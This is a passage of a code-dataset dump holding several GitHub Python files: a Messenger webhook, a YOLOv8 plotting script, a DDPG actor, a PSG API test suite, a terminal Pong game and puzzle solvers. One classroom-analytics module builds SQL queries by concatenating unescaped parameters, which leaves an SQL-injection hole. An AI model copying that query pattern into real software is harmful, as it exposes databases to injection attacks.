200\nMAX_PROJECTS_PAGE_SIZE: int = 200\nMAX_COMMENT_SIZE_IN_LEADERS_LIST: int = 10\nLOGS_DIRECTORY = Path(__file__).resolve().parent.parent / 'logs'\nUPLOADS_DIRECTORY = Path(__file__).resolve().parent.parent / 'uploads'\n","repo_name":"KennelTeam/sol-db-in","sub_path":"backend/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"42593340926","text":"\r\n#Receive a sentence from the user\r\nsentence = input ((\"enter a sentenc:\"))\r\n\r\n#Print the sentence for each line separately:\r\ni = 0\r\nfor i in range(len(sentence)):\r\n if sentence[i]==\" \":\r\n print()\r\n else:\r\n print(sentence[i], end=\"\")\r\n","repo_name":"SarayMordechai/HW-Python-","sub_path":"HW1/words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36216373259","text":"import asyncio\nimport logging\nfrom typing import Callable, Optional, Awaitable\n\nfrom aiohttp import web\nfrom aiohttp.abc import Request\n\nfrom fbmessenger.api import API\nfrom fbmessenger.models import Message\n\n\nclass Messenger(API):\n access_token: str\n verify_token: str\n callback: Callable[[Message], Awaitable[None]]\n log: logging.Logger = logging.getLogger(__name__)\n\n def __init__(self, access_token: str, verify_token: str, message_callback: Callable[[Message], Awaitable[None]],\n attachment_location: Optional[str] = None, public_attachment_url: Optional[str] = None):\n super().__init__(access_token, attachment_location, public_attachment_url)\n self.access_token = access_token\n self.verify_token = verify_token\n self.callback = message_callback\n\n def start_receiving(self, port=8080):\n app = web.Application()\n app.add_routes([web.post('/{tail:.*}', self._message_handler),\n web.get('/{tail:.*}', self._verification_handler)])\n web.run_app(app, port=port)\n\n async def _message_handler(self, request: Request):\n self.log.debug(f'Received request:\\n{await request.text()}')\n raw_message = await request.json()\n for event in raw_message['entry']:\n\n # Handle messaging events\n if 'messaging' in event:\n for m in event['messaging']:\n message = None\n\n if 'message' in m:\n if 'text' in m['message']:\n message = Message(m['sender']['id'], m['recipient']['id'], text=m['message']['text'])\n\n if 'quick_reply' in m['message']:\n message.payload = m['message']['quick_reply']['payload']\n\n if 'postback' in m:\n message = Message(m['sender']['id'], m['recipient']['id'],\n payload=m['postback']['payload'])\n\n if not message:\n self.log.debug(\"No content, skip message\")\n continue\n\n asyncio.ensure_future(self.callback(message))\n\n # Handle postback events\n\n return web.Response(text=\"\")\n\n async def _verification_handler(self, request: Request):\n self.log.debug(f'Received verification request with query {request.query_string}')\n\n if request.query.get('hub.verify_token') != self.verify_token:\n raise web.HTTPForbidden(reason=\"Verify token is invalid\")\n\n challenge = request.query.get('hub.challenge')\n if not challenge:\n raise web.HTTPBadRequest(reason='hub.challenge not set')\n\n return web.Response(text=challenge)\n","repo_name":"eknoes/simple-fbmessenger","sub_path":"fbmessenger/messenger.py","file_name":"messenger.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"41153943522","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport keras_cv\nimport numpy as np\nimport os\nimport sys\nimport copy\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\n\nNAME_BACKBONE = \"yolo_v8_xs_backbone\"\nCONFIDENCE = 0.7\n\nimages_test = np.load(\"matrices_test.npy\")\n\nprint(\"Nb images : \" + str(len(images_test)))\n\nlabels_test = {\n \"boxes\": np.load(\"labels_test.npy\"),\n \"classes\": np.load(\"classes_test.npy\")\n}\n\nmodel = keras_cv.models.YOLOV8Detector(\n num_classes=2,\n bounding_box_format=\"center_xywh\",\n backbone=keras_cv.models.YOLOV8Backbone.from_preset(\n NAME_BACKBONE\n ),\n fpn_depth=2\n)\n\nif not os.path.isfile(NAME_BACKBONE+\".h5\"):\n sys.exit(1)\n\nmodel.load_weights(NAME_BACKBONE+\".h5\", skip_mismatch=False, by_name=False, options=None)\n\n# Get predictions using the model\nresults = model.predict(images_test)\n\nfor i in range(len(results[\"boxes\"].to_tensor())):\n plt.imshow(images_test[i])\n\n for j in range(len(results[\"boxes\"][i])):\n if results[\"classes\"][i][j] == 1 and results[\"confidence\"][i][j] >= CONFIDENCE:\n x = results[\"boxes\"][i][j].numpy()[0]-int(round((results[\"boxes\"][i][j].numpy()[2])/2))\n y = results[\"boxes\"][i][j].numpy()[1]-int(round((results[\"boxes\"][i][j].numpy()[3])/2))\n w = results[\"boxes\"][i][j].numpy()[2]\n h = results[\"boxes\"][i][j].numpy()[3]\n plt.gca().add_patch(Rectangle((x, y), w, h, edgecolor=\"#7736e3\", facecolor=\"none\", lw=3))\n\n for k in range(len(labels_test[\"boxes\"][i])):\n if labels_test[\"boxes\"][i][k][0] < 50:\n x = labels_test[\"boxes\"][i][k][0]-int(round(labels_test[\"boxes\"][i][k][2]/2))\n y = labels_test[\"boxes\"][i][k][1]-int(round(labels_test[\"boxes\"][i][k][3]/2))\n w = labels_test[\"boxes\"][i][k][2]\n h = labels_test[\"boxes\"][i][k][3]\n plt.gca().add_patch(Rectangle((x, y), w, h, edgecolor=\"red\", facecolor=\"none\", lw=3))\n\n plt.show()\n\n# print(\"Boxes : \", labels_test[\"boxes\"][:1])\n# print(\"Classes : \", labels_test[\"classes\"][:1])","repo_name":"MagiPrince/keras-cv-yolov8-quantized","sub_path":"display_gt_and_pred.py","file_name":"display_gt_and_pred.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"73873597690","text":"# Deep Deterministic Policy Gradient\n# following paper: Continuous control with deep reinforcement learning\n# (https://arxiv.org/pdf/1509.02971.pdf)\n#\n# ---\n# @author Yiren Lu\n# @email luyiren [at] seas [dot] upenn [dot] edu\n#\n# MIT License\n\nimport tensorflow as tf\nimport tf_utils\n\n\n\nclass ActorNetwork(object):\n\n\n def __init__(self, state_size, action_size, lr, n_h1=400, n_h2=300, tau=0.001):\n self.state_size = state_size\n self.action_size = action_size\n self.optimizer = tf.train.AdamOptimizer(lr)\n self.tau = tau\n\n self.n_h1 = n_h1\n self.n_h2 = n_h2\n\n self.input_s, self.actor_variables, self.action_values = self._build_network(\"actor\")\n self.input_s_target, self.actor_variables_target, self.action_values_target = self._build_network(\"actor_target\")\n\n self.action_gradients = tf.placeholder(tf.float32, [None, self.action_size])\n self.actor_gradients = tf.gradients(self.action_values, self.actor_variables, -self.action_gradients)\n self.update_target_op = [self.actor_variables_target[i].assign(tf.multiply(self.actor_variables[i], self.tau) + tf.multiply(self.actor_variables_target[i], 1 - self.tau))\n for i in range(len(self.actor_variables))]\n self.optimize = self.optimizer.apply_gradients(zip(self.actor_gradients, self.actor_variables))\n\n\n def _build_network(self, name):\n input_s = tf.placeholder(tf.float32, [None, self.state_size])\n with tf.variable_scope(name):\n layer_1 = tf_utils.fc(input_s, self.n_h1, scope=\"fc1\", activation_fn=tf.nn.relu,\n initializer=tf.contrib.layers.variance_scaling_initializer(mode=\"FAN_IN\"))\n layer_2 = tf_utils.fc(layer_1, self.n_h2, scope=\"fc2\", activation_fn=tf.nn.relu,\n initializer=tf.contrib.layers.variance_scaling_initializer(mode=\"FAN_IN\"))\n action_values = tf_utils.fc(layer_2, self.action_size, scope=\"out\", activation_fn=tf.nn.sigmoid,\n initializer=tf.random_uniform_initializer(-3e-3, 3e-3))\n actor_variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=name)\n return input_s, actor_variables, action_values\n\n\n def get_action(self, state, sess):\n return sess.run(self.action_values, feed_dict={self.input_s: state})\n\n\n def get_action_target(self, state, sess):\n return sess.run(self.action_values_target, feed_dict={self.input_s_target: state})\n\n\n def train(self, state, action_gradients, sess):\n sess.run(self.optimize, feed_dict={\n self.input_s: state,\n self.action_gradients: action_gradients\n })\n\n\n def update_target(self, sess):\n sess.run(self.update_target_op)\n","repo_name":"yjkim721/interference-pattern-ddpg","sub_path":"actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"43639051601","text":"from base import constant, common_tools, db_tools\n\nfrom zhkt import zhkt_tools\nfrom zhkt.appview import kt_student_view as kt_student_view\n\n# 全局业务表表名\ntable_name = 'zhkt_stu_act_result'\n\n\ndef find_list(param_strs={}, sel_head=\" select t.* \", camelize=False, my_default_sidx=None):\n sql_from_where = init_from_where_sql(param_strs)\n sql = sel_head + sql_from_where\n if my_default_sidx:\n sql += ' order by ' + my_default_sidx\n return db_tools.find_dict_list_by_sql(sql, camelize)\n\n\n# 找到指定题目的互动数据\ndef one_ques_rs_list(mainId, actQuesId):\n param_strs = {'mainId': mainId, 'actQuesId': actQuesId}\n sel_head = \" select t.*, s.student_name, s.student_gender \"\n return find_list(param_strs, sel_head, False, ' t.create_time_stamp ')\n\n\n# 查询某个学生的互动结果\ndef one_stu_ques_rs(mainId, actQuesId, studentId):\n param_strs = {'mainId': mainId, 'actQuesId': actQuesId, 'studentId': studentId}\n base_list = find_list(param_strs)\n return base_list[0] if base_list and len(base_list) else None\n\n\n# 整合查询用户的原生sql\ndef init_from_where_sql(params):\n mainId = params['mainId'] if 'mainId' in params else ''\n actQuesId = params['actQuesId'] if 'actQuesId' in params else ''\n isHandUp = params['isHandUp'] if 'isHandUp' in params else ''\n isReplyAnswer = params['isReplyAnswer'] if 'isReplyAnswer' in params else ''\n studentId = params['studentId'] if 'studentId' in params else ''\n sql = \"\"\" from {} t\n left join zhkt_student s on s.student_id = t.student_id and s.main_id = t.main_id\n where 1 = 1 \"\"\".format(table_name)\n if isHandUp:\n sql += \" and t.is_hand_up = '\" + isHandUp + \"' \"\n if isReplyAnswer:\n sql += \" and t.is_reply_answer = '\" + isReplyAnswer + \"' \"\n if mainId:\n sql += \" and t.main_id = '\" + mainId + \"' \"\n if actQuesId:\n sql += \" and t.act_ques_id = '\" + actQuesId + \"' \"\n if studentId:\n sql += \" and t.student_id = '\" + studentId + \"' \"\n return sql\n\n\n# 互动题目统计 - 投票/举手回答 (单选/判断题有效)\ndef init_act_ques_anls(mainId, actQuesId):\n optAnlsMap = {} # 各选项关键字-整体对象的对应map\n act_ques = zhkt_tools.act_ques_by_id(mainId, actQuesId) # 判断题型\n quesAnswer = act_ques['answer'] # 互动题目答案\n if constant.QUES_TYPE_JUDGE == act_ques['ques_type']: # 判断题\n # 放入正确对应的选项\n optAnlsMap['Y'] = {'optionKey': 'Y', 'optionNo': '对', 'isAnswer': 'Y' if 'Y' == quesAnswer else 'N', 'chooseNum': 0}\n # 放入错误对应的选项\n optAnlsMap['N'] = {'optionKey': 'N', 'optionNo': '错', 'isAnswer': 'Y' if 'N' == quesAnswer else 'N', 'chooseNum': 0}\n if quesAnswer:\n quesAnswer = '对' if 'Y' == quesAnswer else '错'\n else:\n quesAnswer = ''\n elif constant.QUES_TYPE_RADIO == act_ques['ques_type']: # 单选题\n baseOptList = act_ques['opt_list']\n for row in baseOptList:\n optAnlsMap[row['option_no']] = {'optionKey': row['option_no'], 'optionNo': row['option_no'], 'isAnswer': row['is_answer'], 'chooseNum': 0}\n elif constant.QUES_TYPE_MULTIPLE == act_ques['ques_type']: # 多选题\n quesAnswer = quesAnswer.replace(',', '') if quesAnswer else '' # 多选题, 答案移除逗号\n\n act_rs_list = one_ques_rs_list(mainId, actQuesId)\n allStuNum = zhkt_tools.init_main_by_id(mainId).stu_num # 参与上课的学生数量\n allStuNum = allStuNum if allStuNum else 0\n isReplyNum = 0 # 已回答人数\n handUpNum = 0 # 举手人数\n rightNum = 0 # 回答正确人数\n actNum = 0 # 参与人数\n replyStuList = [] # 真正回答问题的学生\n if act_rs_list and len(act_rs_list):\n for temp in act_rs_list:\n actNum += 1 # 参与人数累计\n if 'Y' == temp['is_hand_up']:\n handUpNum += 1 # 举手人数\n if 'Y' == temp['is_reply_answer']:\n isReplyNum += 1 # 真正回答有效的人数\n replyStuList.append({'studentId': temp['student_id'], 'studentName': temp['student_name'], 'studentGender': temp['student_gender'],\n 'rightResult': temp['right_result'], 'result': temp['result']})\n if 'Y' == temp['right_result']:\n rightNum += 1 # 正确人数累计\n answer = temp['answer']\n if answer:\n answer = answer.replace(\",\", \"\")\n optAnls = optAnlsMap[answer]\n if not optAnls:\n optAnls = {'optionKey': answer, 'optionNo': answer, 'isAnswer': 'Y' if answer == quesAnswer else 'N', 'chooseNum': 0}\n optAnls['chooseNum'] = optAnls['chooseNum'] + 1 # 累计选择人数\n # 统计正确率(整体)\n rightPercent = round(rightNum * 100.0 / isReplyNum, 2) if isReplyNum > 0 else 0.0\n # 统计参与率\n actPercent = round(actNum * 100.0 / allStuNum, 2) if allStuNum > 0 else 0.0\n # 整合选项统计\n optAnlsList = []\n for (k, v) in optAnlsMap.items():\n v['choosePercent'] = 0.0 if isReplyNum <= 0 else round(v['chooseNum'] * 100.0 / isReplyNum, 2) # 计算各个项选择比例\n optAnlsList.append(v)\n # 最终的返回结果\n return {\n 'allStuNum': allStuNum,\n 'isReplyNum': isReplyNum,\n 'handUpNum': handUpNum,\n 'rightNum': rightNum,\n 'rightPercent': rightPercent,\n 'actNum': actNum,\n 'actPercent': actPercent,\n 'quesAnswer': quesAnswer,\n 'optAnlsList': optAnlsList,\n 'replyStuList': replyStuList,\n }\n\n\n# 保存随机提问时, 所选的随机学生 - 同时通知画屏\ndef save_act_random_stus(mainId, actQuesId, studentIds):\n # 构造随机回答学生结果\n actStuList = []\n for studentId in studentIds.split(','):\n actStuList.append({\n 'main_id': mainId,\n 'act_ques_id': actQuesId,\n 'student_id': studentId,\n 'bonus': 1, # 随机提问到的学生+1积分\n 'is_hand_up': 'N', # 随机提问不为举手\n 'create_time': common_tools.now(), # 当前回答时间\n })\n db_tools.ins_batch_to_db(table_name, actStuList, True)\n # 更新课堂学生表的积分/得分情况\n addBonus, addActNum = 1, 1\n kt_student_view.stus_add_bonus_num(mainId=mainId, studentIds=studentIds, bonus=addBonus, actNum=addActNum)\n # todo 给画屏推送参与随机提问的人\n\n\n# 保护课堂互动时 - 学生答题结果 (教师选择对错)\ndef save_act_stu_result(mainId, actQuesId, studentId, rightResult, result):\n createTime = common_tools.now() # 当前时间\n addBonus = 0 # 本次回答后, 学生增加的积分\n if \"Y\" == rightResult:\n addBonus = 1 # 回答正确加1分\n elif result and int(result) >= 3:\n addBonus = 1 # 评价超过3星, 加1分\n addActNum = 0 # 增加的互动次数\n actStu = one_stu_ques_rs(mainId=mainId, actQuesId=actQuesId, studentId=studentId)\n if actStu:\n if 'create_time' not in actStu or not actStu['create_time']:\n actStu['create_time'] = createTime\n bonus = actStu['bonus']\n actStu['bonus'] = (bonus if bonus else 0) + addBonus # 最终本次积分\n actStu['right_result'] = rightResult\n actStu['result'] = result\n actStu['is_reply_answer'] = \"Y\" # 回答问题标记\n db_tools.upd_dict_to_db(table_name, actStu)\n else:\n addActNum = 1\n actStu = {\n 'main_id': mainId,\n 'act_ques_id': actQuesId,\n 'student_id': studentId,\n 'create_time': createTime,\n 'is_reply_answer': 'Y', # 回答问题标记\n 'result': result,\n 'right_result': rightResult,\n 'bonus': addBonus\n }\n db_tools.ins_dict_to_db(table_name, actStu)\n # 更新学生表积分\n if addBonus != 0 or addActNum != 0:\n kt_student_view.stus_add_bonus_num(mainId=mainId, studentIds=studentId, bonus=addBonus, actNum=addActNum)\n","repo_name":"lovederh/magicbox","sub_path":"zhkt/appview/stu_act_result_view.py","file_name":"stu_act_result_view.py","file_ext":"py","file_size_in_byte":8113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25131031077","text":"#!/usr/bin/env python\n\n\"\"\"\nTests for `VSPEC.psg_api` module\n\"\"\"\nfrom pathlib import Path\nimport pytest\nfrom astropy import units as u\nimport matplotlib.pyplot as plt\n\nfrom VSPEC.psg_api import call_api,call_api_from_file, PSGrad, get_reflected, parse_full_output\nfrom VSPEC.helpers import is_port_in_use,set_psg_state\n\nAPI_KEY_PATH = Path.home() / 'psg_key.txt'\nPSG_CONFIG_PATH = Path(__file__).parent / 'data' / 'test_cfg.txt'\nVSPEC_CONFIG_PATH = Path(__file__).parent / 'default.yaml'\nPSG_PORT = 3000\n\nRAD_PATH = Path(__file__).parent / 'data' / 'transit_reflected'\n\n\n\n\n@pytest.mark.skipif(not API_KEY_PATH.exists(),reason='This test requires an API key')\ndef test_call_api_nonlocal():\n \"\"\"\n Run tests for `VSPEC.psg_api.call_api()`\n This test expects that you have a file at\n `~/` called `psg_key.txt` that contains your own\n API key. Otherwise it is skipped.\n \"\"\"\n psg_url = 'https://psg.gsfc.nasa.gov'\n with open(API_KEY_PATH,'r',encoding='UTF-8') as file:\n api_key = file.read()\n data = 'Exoplanet\\nProxCenb'\n content = call_api(psg_url=psg_url,api_key=api_key,output_type='cfg',config_data=data)\n assert b'Exoplanet' in content\n \n \n@pytest.mark.skipif(not is_port_in_use(3000),reason='PSG must be running locally to run this test')\ndef test_call_api_local():\n \"\"\"\n Run tests for `VSPEC.psg_api.call_api()`\n \"\"\"\n previous_state = is_port_in_use(PSG_PORT)\n set_psg_state(True)\n psg_url = 'http://localhost:3000'\n data = 'Exoplanet\\nProxCenb'\n content = call_api(psg_url=psg_url,output_type='cfg',config_data=data)\n assert b'Exoplanet' in content\n set_psg_state(previous_state)\n\n@pytest.mark.skipif(not is_port_in_use(3000),reason='PSG must be running locally to run this test')\ndef test_call_api_from_file():\n \"\"\"\n Run tests for `VSPEC.psg_api.call_api()` while giving the file contents rather than the path.\n \"\"\"\n previous_state = is_port_in_use(PSG_PORT)\n set_psg_state(True)\n psg_url = 'http://localhost:3000'\n content = call_api_from_file(config_path=PSG_CONFIG_PATH,psg_url=psg_url,output_type='cfg',app='globes')\n assert b'Exoplanet' in content\n \n set_psg_state(previous_state)\n\n\ndef test_PSGrad():\n \"\"\"\n Run tests for `VSPEC.psg_api.PSGrad()`\n \"\"\"\n file = Path(__file__).parent / 'data' / 'test_rad.rad'\n rad = PSGrad.from_rad(file)\n assert isinstance(rad.header,dict)\n assert isinstance(rad.data,dict)\n with pytest.raises(ValueError):\n file = Path(__file__).parent / 'data' / 'gcm_error.rad'\n PSGrad.from_rad(file)\n\ndef test_get_reflected():\n \"\"\"\n Run tests for `VSPEC.psg_api.get_reflected()`\n \"\"\"\n data_dir = Path(__file__).parent / 'data' / 'test_reflected'\n planet_name = 'proxima-Cen-b'\n\n atm_cmb = PSGrad.from_rad(data_dir / 'atm_cmb.rad')\n atm_therm = PSGrad.from_rad(data_dir / 'atm_therm.rad')\n ref = get_reflected(atm_cmb,atm_therm,planet_name)\n assert isinstance(ref,u.Quantity)\n assert len(ref) == len(atm_cmb.data['Wave/freq'])\n\n no_atm_cmb = PSGrad.from_rad(data_dir / 'no_atm_cmb.rad')\n no_atm_therm = PSGrad.from_rad(data_dir / 'no_atm_therm.rad')\n ref = get_reflected(no_atm_cmb,no_atm_therm,planet_name)\n assert isinstance(ref,u.Quantity)\n assert len(ref) == len(atm_cmb.data['Wave/freq'])\n\n # also works if just one has separated thermal+reflected columns\n ref = get_reflected(atm_cmb,no_atm_therm,planet_name)\n assert isinstance(ref,u.Quantity)\n assert len(ref) == len(atm_cmb.data['Wave/freq'])\n ref = get_reflected(no_atm_cmb,atm_therm,planet_name)\n assert isinstance(ref,u.Quantity)\n assert len(ref) == len(atm_cmb.data['Wave/freq'])\n\n hires = PSGrad.from_rad(data_dir / 'hires_cmb.rad')\n with pytest.raises(ValueError):\n get_reflected(hires,atm_therm,planet_name)\n\n@pytest.mark.skipif(not is_port_in_use(3000),reason='PSG must be running locally to run this test')\ndef test_text_parse():\n previous_state = is_port_in_use(PSG_PORT)\n set_psg_state(True)\n psg_url = 'http://localhost:3000'\n with open(PSG_CONFIG_PATH,'r',encoding='UTF-8') as file:\n file_contents = file.read()\n content = call_api(psg_url=psg_url,output_type='all',config_data=file_contents)\n result = parse_full_output(content)\n assert b'cfg' in result.keys()\n set_psg_state(previous_state)\n","repo_name":"VSPEC-collab/VSPEC","sub_path":"test/pytest/test_psg_api.py","file_name":"test_psg_api.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"17186441571","text":"import random, time, os\nimport bext\n\nimport keyboard\n\nimport math\nfrom pysinewave import SineWave\n\nfrom threading import Timer\n\n\ndef pitch2freq(pitch):\n return 261.625565 * 2 ** (pitch / 12)\n\ndef freq2pitch(freq):\n return abs(12 * math.log2(261.625565 / freq))\n\n\n\ndef beep(freq, secs, stereo=False, channel=\"lr\"): # cross platform winsound alternative\n if stereo:\n sinewave = SineWave(pitch=freq2pitch(freq), channels=2, channel_side=channel)\n else:\n sinewave = SineWave(pitch=freq2pitch(freq))\n sinewave.play()\n time.sleep(secs)\n sinewave.stop()\n\ndef non_blocking_beep(freq, secs, stereo=False, channel=\"lr\"):\n if stereo:\n sinewave = SineWave(pitch=freq2pitch(freq), channels=2, channel_side=channel)\n else:\n sinewave = SineWave(pitch=freq2pitch(freq))\n sinewave.play()\n Timer(secs, sinewave.stop).start()\n\n\nsound = True\nghost_for_float = False\ncenterline = True\nstereo_sound = True\n\nPAUSE_AMOUNT = 0.001\n\nrunning = False\n\ndef header_render(width, text):\n return (\" \" * int((width - len(text))/2)) + text + \" \" * int((width - len(text))/2)\n\ndef clear():\n if os.name == \"nt\":\n os.system(\"cls\")\n else:\n os.system(\"clear\")\n\nbext.bg(\"black\")\nbext.fg(\"white\")\nbext.hide()\n\nclear()\nwidth, height = (os.get_terminal_size().columns-2, os.get_terminal_size().lines-2)\nprint(\"\\n\" * int((height-13)/2), end=\"\")\nprint(header_render(width, \"PONG\"))\nprint(\"\")\nprint(header_render(width, \"Left Paddle: w, s\"))\nprint(header_render(width, \"Right Paddle: o, l\"))\nprint(\"\")\nprint(header_render(width, \"Start / Unpause: space\"))\nprint(header_render(width, \"Pause: b\"))\nprint(\"\")\nprint(header_render(width, \"Toggle sound (default: on): 1\"))\nprint(header_render(width, \"Toggle ball ghosting (default: off): 2\"))\nprint(header_render(width, \"Toggle center line (default: on): 3\"))\nprint(header_render(width, \"Toggle stereo output (default: on): 4\"))\n\n\ndef main():\n L_score = 0\n R_score = 0\n L_pos = 0\n R_pos = 0\n ball_x = 0\n ball_y = 0\n\n width, height = (os.get_terminal_size().columns-2, os.get_terminal_size().lines-2)\n\n ball_x = int(width/2)\n ball_y = int(height/2)\n ball_dir = random.randint(0, 1)\n ball_spin = 0\n\n L_pos = int(height/2)\n R_pos = int(height/2)\n\n PADDLE_CHAR = \"■\"\n BALL_CHAR = \"■\"\n\n delta = 0\n\n while True:\n try:\n start_time = time.time()\n width, height = (os.get_terminal_size().columns-2, os.get_terminal_size().lines-2)\n clear()\n #print(header_render(width, \"PONG\"))\n print(header_render(width, str(L_score) + \" | \" + str(R_score)))\n\n frame = \"\"\n for y in range(height):\n row = \"\"\n for x in range(width):\n if x == int(ball_x) and ((y == int(ball_y) and not ghost_for_float) or (y == ball_y and ghost_for_float)):\n row += BALL_CHAR\n elif x == 5 and y in range(L_pos-2, L_pos+3):\n row += PADDLE_CHAR\n elif x == width-5 and y in range(R_pos-2, R_pos+3):\n row += PADDLE_CHAR\n elif x == int(width/2) and centerline:\n row += \"|\"\n else:\n row += \" \"\n frame += row + \"\\n\"\n print(frame.rstrip(), end=\"\")\n\n if int(ball_x) <= 0:\n ball_x = int(width/2)\n ball_y = int(height/2)\n ball_dir = random.randint(0, 1)\n ball_spin = 0\n L_pos = int(height/2)\n R_pos = int(height/2)\n R_score += 1\n if sound:\n beep(490, 0.257)\n else:\n time.sleep(0.257)\n\n if int(ball_x) >= width:\n ball_x = int(width/2)\n ball_y = int(height/2)\n ball_dir = random.randint(0, 1)\n ball_spin = 0\n L_pos = int(height/2)\n R_pos = int(height/2)\n L_score += 1\n if sound:\n beep(490, 0.257)\n else:\n time.sleep(0.257)\n\n if int(ball_y) in range(L_pos-2, L_pos+3) and int(ball_x) == 5:\n ball_dir = 1\n ball_spin = ball_y - L_pos\n if sound:\n non_blocking_beep(459, 0.096, stereo=stereo_sound, channel=\"l\")\n \n if int(ball_y) in range(R_pos-2, R_pos+3) and int(ball_x) == width-5:\n ball_dir = 0\n ball_spin = ball_y - R_pos\n if sound:\n non_blocking_beep(459, 0.096, stereo=stereo_sound, channel=\"r\")\n \n if int(ball_y) <= 1 or int(ball_y) >= height-1:\n ball_spin = -ball_spin\n if sound:\n non_blocking_beep(226, 0.066) # in the real game it should be 0.016 but that doesn't register here\n \n if ball_dir == 0:\n ball_x -= 100 * delta\n else:\n ball_x += 100 * delta\n \n ball_y += ball_spin/8\n \n if keyboard.is_pressed(\"w\") and L_pos > 3:\n L_pos -= 1\n elif keyboard.is_pressed(\"s\") and L_pos < height-3:\n L_pos += 1\n \n if keyboard.is_pressed(\"o\") and R_pos > 3:\n R_pos -= 1\n elif keyboard.is_pressed(\"l\") and R_pos < height-3:\n R_pos += 1\n \n if keyboard.is_pressed(\"b\"):\n keyboard.wait(\" \")\n\n bext.hide()\n print(flush=True)\n delta = time.time() - start_time\n time.sleep(PAUSE_AMOUNT)\n except (KeyboardInterrupt, SystemExit):\n clear()\n bext.fg(\"reset\")\n print(\"\\nBye!\")\n break\n\ndef s_tog():\n global sound\n sound = not sound\n\ndef g_tog():\n global ghost_for_float\n ghost_for_float = not ghost_for_float\n\ndef c_tog():\n global centerline\n centerline = not centerline\n\ndef ss_tog():\n global stereo_sound\n stereo_sound = not stereo_sound\n\nkeyboard.add_hotkey(\"1\", s_tog)\nkeyboard.add_hotkey(\"2\", g_tog)\nkeyboard.add_hotkey(\"3\", c_tog)\nkeyboard.add_hotkey(\"4\", ss_tog)\n\nwhile not running:\n kp = bext.getKey(blocking=True)\n if kp == \" \":\n running = True\n main()\n","repo_name":"obfuscatedgenerated/myscrollart","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":6465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17853201180","text":"from itertools import permutations\n\ndef is_solution_valid(mapping, words, result):\n if any(mapping[word[0]] == 0 for word in words + [result]):\n return False\n \n word_values = [sum(mapping[c] * 10**(len(word)-i-1) for i, c in enumerate(word)) for word in words]\n result_value = sum(mapping[c] * 10**(len(result)-i-1) for i, c in enumerate(result))\n \n return sum(word_values) == result_value\n\ndef solve_cryptarithmetic(words, result):\n unique_letters = set(''.join(words + [result]))\n if len(unique_letters) > 10:\n print(\"Too many unique letters. Cannot solve.\")\n return None\n \n letters = list(unique_letters)\n \n for perm in permutations(range(10), len(letters)):\n mapping = {letters[i]: perm[i] for i in range(len(letters))}\n \n if is_solution_valid(mapping, words, result):\n return mapping\n \n return None\n\ndef print_solution(mapping, words, result):\n for word in words + [result]:\n print(' '.join(str(mapping[c]) for c in word), end=' ')\n print(f\"= {sum(mapping[c] * 10**(len(word)-i-1) for i, c in enumerate(word))}\")\n\ndef cryptarithmetic_solver(words, result):\n mapping = solve_cryptarithmetic(words, result)\n if mapping is None:\n print(\"No solution exists.\")\n else:\n print_solution(mapping, words, result)\n\nif __name__ == \"__main__\":\n # Example cryptarithmetic puzzle: SEND + MORE = MONEY\n words = [\"SEND\", \"MORE\"]\n result = \"MONEY\"\n\n cryptarithmetic_solver(words, result)\n","repo_name":"Jitesh117/AI_Lab_Programs","sub_path":"crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1599712765","text":"''' == EN ==\n Alice has invented a new card game to play with Bob. Alice made a deck of\n cards with random values between 1 and 52. Bob picks 5 cards. Then, he has\n to rearrange the cards so that by utilizing the operations plus, minus, or\n times, the value of the cards reach Alice's favorite number, 42. More\n precisely, find operations such that\n ((((val1 op1 val2) op2 val3) op3 val4) op4 val5) = 42.\n\n Help Bob by writing a program to determine whether it is possible to reach\n 42 given 5 card values.\n\n For example, Bob picks 5 cards out of the deck containing 60, 1, 3, 5, and\n 20. Bob rearranges the cards and supplies four operations, so that\n 5 * 20 - 60 + 3 - 1 = 42.\n\n Input: a string consists of five integers, separated by spaces. Each integer\n V is 0 <= V <= 52.\n\n Output: a string containing \"YES\" if it is possible to reach the value 42\n according to the rules of the game, or \"NO\" otherwise.\n'''\n\n\nfrom itertools import permutations, product\n\n\nOPERATORS_CHAINS = list(product('+-*', repeat=4))\n\n\ndef make_operation(op_type, x, y):\n return {'+': x + y,\n '-': x - y,\n '*': x * y}[op_type]\n\n\ndef reach_target(numbers, target=42):\n '''\n Takes the list of numbers and optional target value.\n\n Returns True if it is possible to reach the target using given mathematical\n operators (+, -, *), otherwise False.\n '''\n for num_seq in permutations(numbers):\n for op_seq in OPERATORS_CHAINS:\n result = make_operation(op_seq[0], num_seq[0], num_seq[1])\n result = make_operation(op_seq[1], result, num_seq[2])\n result = make_operation(op_seq[2], result, num_seq[3])\n result = make_operation(op_seq[3], result, num_seq[4])\n if result == target:\n return True\n return False\n\n\ndef game(cards):\n cards = [int(card) for card in cards.strip().split()]\n return 'YES' if reach_target(cards) else 'NO'\n\n\nif __name__ == '__main__':\n test_cases = [('60 1 3 5 20\\n', 'YES'),\n ('44 6 1 49 47', 'NO'),\n ('34 1 49 2 21', 'YES'),\n ('31 38 27 51 18', 'NO')]\n for i, test in enumerate(test_cases, 1):\n assert game(test[0]) == test[1], 'failed test No.%d' % i\n else:\n print('Test has been 